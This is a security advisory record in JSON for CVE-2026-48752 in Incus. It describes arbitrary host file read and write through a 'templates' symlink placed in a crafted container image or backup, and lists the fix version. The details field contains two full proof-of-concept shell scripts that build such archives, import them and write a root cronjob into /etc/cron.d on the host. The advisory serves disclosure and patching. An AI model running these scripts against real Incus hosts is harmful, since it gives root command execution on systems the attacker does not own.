CVE-2026-48752: Github.com/lxc/incus/v7/cmd/incusd Incus Has Arbitrary File Read+write Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vxp5-584q-c479",
  "modified" : "2026-06-26T18:46:31Z",
  "published" : "2026-06-26T18:46:31Z",
  "aliases" : [ "CVE-2026-48752" ],
  "summary" : "Incus has arbitrary file read+write on host via templates/ symlink in malicious image",
  "details" : "### Summary\n\nA specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nFor container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.\n\nFor instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.\n\nIn practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.\n\n\n### PoC\n\n#### Malicious container image\n\nBelow, the templates directory is  mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/templates\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC templates symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar\nincus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink\nincus init afrw-image-templates-symlink afrw-image-templates-symlink\n\nincus config template ls afrw-image-templates-symlink\n\n# read\n#incus config template show afrw-image-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id>/pwned'\\n\" | incus config template create afrw-image-templates-symlink poc-32\n#incus config template edit afrw-image-templates-symlink poc\n```\n\n#### Malicious instance backup\n\n\nBelow, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/backup\"\ncat<<__EOF__>\"${tmpdir}/img/backup/index.yaml\"\nname: afrw-backup-templates-symlink\nbackend: dir\npool: default\ntype: container\noptimized: false\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container\"\ncat<<__EOF__>\"${tmpdir}/img/backup/container/backup.yaml\"\ncontainer:\n  name: afrw-backup-templates-symlink\n  architecture: x86_64\n  type: container\n  status: Stopped\n  status_code: 102\n  stateful: false\n  ephemeral: false\n  profiles:\n    - default\n  config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  expanded_config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  devices: {}\n  expanded_devices:\n    root:\n      path: /\n      pool: default\n      type: disk\n  created_at: \"2024-01-01T00:00:00Z\"\n  last_used_at: \"2024-01-01T00:00:00Z\"\nvolume:\n  name: afrw-backup-templates-symlink\n  type: container\n  content_type: filesystem\n  config: {}\npool:\n  name: default\n  driver: dir\n  config: {}\n__EOF__\n\ncat<<__EOF__>\"${tmpdir}/img/backup/container/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: afrw-backup-templates-symlink\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/backup/container/templates\"\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar\nincus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink\n\nincus config template ls afrw-backup-templates-symlink\n\n# read\n#incus config template show afrw-backup-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id>/pwned'\\n\" | incus config template create afrw-backup-templates-symlink poc-32\n#incus config template edit afrw-templates-symlink poc\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v7/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T18:46:31Z",
    "nvd_published_at" : null
  }
}